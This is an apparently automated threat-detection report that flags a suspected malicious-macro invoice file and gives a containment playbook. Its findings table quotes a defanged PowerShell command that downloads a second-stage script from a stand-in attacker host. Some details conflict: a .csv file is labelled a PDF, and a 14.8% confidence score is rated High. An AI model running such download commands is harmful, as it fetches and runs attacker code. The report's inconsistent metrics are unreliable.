ThreatLens — Intelligence & Threat Detection Report

Scan ID: 798b459c-eac3-4b54-89a1-10ce1965e286 | Document: threat_malicious_macro_invoice.csv | Timestamp: 2026-10-16T08:07:40.245194

Metric / Attribute	Evaluation Value	Severity Level	Triage Assessment
Target Document	threat_malicious_macro_invoice.csv	Overall Threat Tier	HIGH
Document Format	PDF (1 pages, 33 words)	Predicted Category	Malware
Detection Engine	Hybrid (Trained ML Classifier + Rule Engine)	Confidence Score	14.80%
Analysis Runtime	0.00 seconds	Findings Identified	2

1. Executive Summary

ThreatLens conducted multi-stage automated natural language processing and heuristic rule inspection on document 'threat_malicious_macro_invoice.csv'. The analysis resulted in an assessed overall threat severity of **High** with 2 discrete indicator(s) identified. Classification model attributed the content to **Malware**.

2. Detailed Findings & Suspicious Passages

Type	Page	Severity	Evidence Snippet	Recommended Action
Suspicious Executable Binary Reference	Ref 1	High	26-10-15T09:12:01Z,FIN-WKS-04,excel.exe,explorer.exe,C:\Users\Public\Invoice_Q4.exe,e3b0c44...	Submit executable hash to internal sandbox, check AppLo...
Obfuscated / Defanged URL Reference	Ref 1	Medium	md.exe,Invoke-WebRequest -Uri hxxp://bad-payload-host[.]example.com/stage2.ps1	Isolate host and block domain on perimeter DNS resolvers and bloc...

3. Recommended Containment & Remediation Playbook

- Isolate endpoint from local network segment to prevent lateral movement.
- Revoke active session tokens and force credential reset for targeted accounts.
- Sinkhole identified domain indicators on internal DNS resolvers.
- Submit referenced files to malware sandbox for behavioral detonation analysis.

4. Automated Analysis Disclosures & Limitations

• Assessments are derived from natural language tokenization, statistical machine learning models, and heuristic rule matching. • Absence of threat indicators does not guarantee that a document is completely benign, particularly in cases of steganography or password-protected content. • High-severity determinations should be corroborated by SOC analysts through organizational telemetry and SIEM/EDR logs.
